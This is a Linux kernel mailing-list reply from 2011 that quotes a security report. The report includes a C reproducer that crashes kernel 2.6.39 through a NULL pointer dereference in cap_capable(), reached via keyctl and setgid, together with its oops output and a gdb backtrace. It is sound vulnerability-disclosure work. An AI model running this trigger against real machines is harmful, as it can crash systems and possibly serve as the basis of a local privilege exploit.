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Date: Wed, 25 May 2011 09:28:34 +0100 Message-ID: Subject: Re: [Security] Fwd: Oops (bad memory deref) in slab_alloc() due to filp_cachep holding incorrect values From: Eugene Teo To: =?UTF-8?B?Um9iZXJ0IMWad2nEmWNraQ==?= Cc: linux-kernel@vger.kernel.org, security@kernel.org, kees@ubuntu.com, Tavis Ormandy , David Howells Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8BIT Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 5190 Lines: 115 Cc'ed David as well. On Tue, May 24, 2011 at 8:52 PM, Robert Święcki wrote: > And the repro - I think this might be exploitable (user-space NULL ptr > deref at the first glance, in cap_capable() while in sys_setgid()). > Works for me with 2.6.39 and the following config: > http://alt.swiecki.net/linux_kernel/ise-test-2.6.39-kernel-config.txt > > It works for me with apparmor loaded, but looking at the code it > should work with SELinux as well (both call cap_capable()). Could be > some regression of http://securitytracker.com/id?1024384 > > It works with 2.6.39 but not with 2.6.39-rc4. Found with Tavis > Ormandy's http://code.google.com/p/iknowthis/ > > #include > #include > #include > #include > #include > #include > > int TH1(void *dummy) { > syscall(__NR_keyctl, KEYCTL_SESSION_TO_PARENT); > syscall(__NR_exit, 0); > } > > int main(int argc, char **argv) > { > char stack[1024 * 32]; > pid_t pid = clone(TH1, stack + sizeof(stack), CLONE_VM, NULL); > if (pid == -1) { > perror("clone"); > return -1; > } > int status; > while(waitpid(pid, &status, __WALL) != pid); > setgid(4286409707); > return 0; > } > > Oops (stacktraces from the previous emails are also valid). Basically > 'struct user_namespace *targ_ns' in cap_capable() is NULL. > > [ 288.431402] CPU 0 > [ 288.431402] Pid: 875, comm: apparmor Not tainted 2.6.39 #1 Dell > Inc. Precision WorkStation 390 /0GH911 > [ 288.431402] RIP: 0010:[] [] > cap_capable+0x18/0x67 > [ 288.431402] RSP: 0018:ffff880120d43ec8 EFLAGS: 00010203 > [ 288.431402] RAX: ffff8801220ee0c0 RBX: 0000000000000001 RCX: 0000000000000006 > [ 288.431402] RDX: 0000000000000000 RSI: ffff880120ebb600 RDI: 0000000000000006 > [ 288.431402] RBP: ffff880120d43ec8 R08: 0000000000000001 R09: 000000000000005a > [ 288.431402] R10: ffffffff813d42ea R11: 0000000000000246 R12: ffff880120ebb600 > [ 288.431402] R13: 0000000000000006 R14: ffff8801205aaee0 R15: 0000000000000000 > [ 288.431402] FS: 00007f919efc2720(0000) GS:ffff88012bc00000(0000) > knlGS:0000000000000000 > [ 288.431402] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b > [ 288.431402] CR2: 0000000000000408 CR3: 00000001205de000 CR4: 00000000000006f0 > [ 288.431402] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 > [ 288.431402] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 > [ 288.431402] Process apparmor (pid: 875, threadinfo > ffff880120d42000, task ffff8801205aaee0) > [ 288.431402] Stack: > [ 288.431402] ffff880120d43f08 ffffffff81378bfb ffff880120d43ee8 > ffff8801205aaee0 > [ 288.431402] 00000000ff7d6beb ffff880120ebb600 0000000000000000 > 0000000000000000 > [ 288.431402] ffff880120d43f18 ffffffff8134d932 ffff880120d43f38 > ffffffff8109d99d > [ 288.431402] Call Trace: > [ 288.431402] [] apparmor_capable+0x27/0x61 > [ 288.431402] [] security_capable+0x2a/0x2c > [ 288.431402] [] ns_capable+0x3a/0x4f > [ 288.431402] [] nsown_capable+0x24/0x29 > [ 288.431402] [] sys_setgid+0x43/0x8d > [ 288.431402] [] system_call_fastpath+0x16/0x1b > [ 288.431402] Code: c1 fe 05 d3 e0 48 63 f6 23 44 b2 38 c9 83 f8 01 > 19 c0 c3 55 48 89 e5 0f 1f 44 00 00 89 cf 48 81 fa f0 16 a2 82 74 0d > 48 8b 46 70 > [ 288.431402] 39 82 08 04 00 00 74 3d 48 8b 46 70 48 3b 50 60 75 1d 89 f9 > [ 288.431402] RIP [] cap_capable+0x18/0x67 > [ 288.431402] RSP > [ 288.431402] CR2: 0000000000000408 > > (gdb) bt > #0 0xffffffff8134cbdf in cap_capable (tsk=, > cred=0x0, targ_ns=0x0, cap=6, audit=1) at security/commoncap.c:88 > #1 0xffffffff81378bfb in apparmor_capable (task=0xffff880120e3aee0, > cred=0xffff88011f540500, ns=, cap=6, audit=1) at > security/apparmor/lsm.c:144 > #2 0xffffffff8134d932 in security_capable (ns=, > cred=, cap=) at > security/security.c:160 > #3 0xffffffff8109d99d in ns_capable (ns=, > cap=) at kernel/capability.c:381 > #4 0xffffffff8109da2b in nsown_capable (cap=) at > kernel/capability.c:412 > #5 0xffffffff810a6695 in sys_setgid (gid=1540) at kernel/sys.c:570 > #6 0xffffffff810c1e11 in sys_setgid16 (gid=) at > kernel/uid16.c:53 > > -- > Robert Święcki > > _______________________________________________ > Security mailing list > Security@linux.kernel.org > http://linux.kernel.org/mailman/listinfo/security > -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/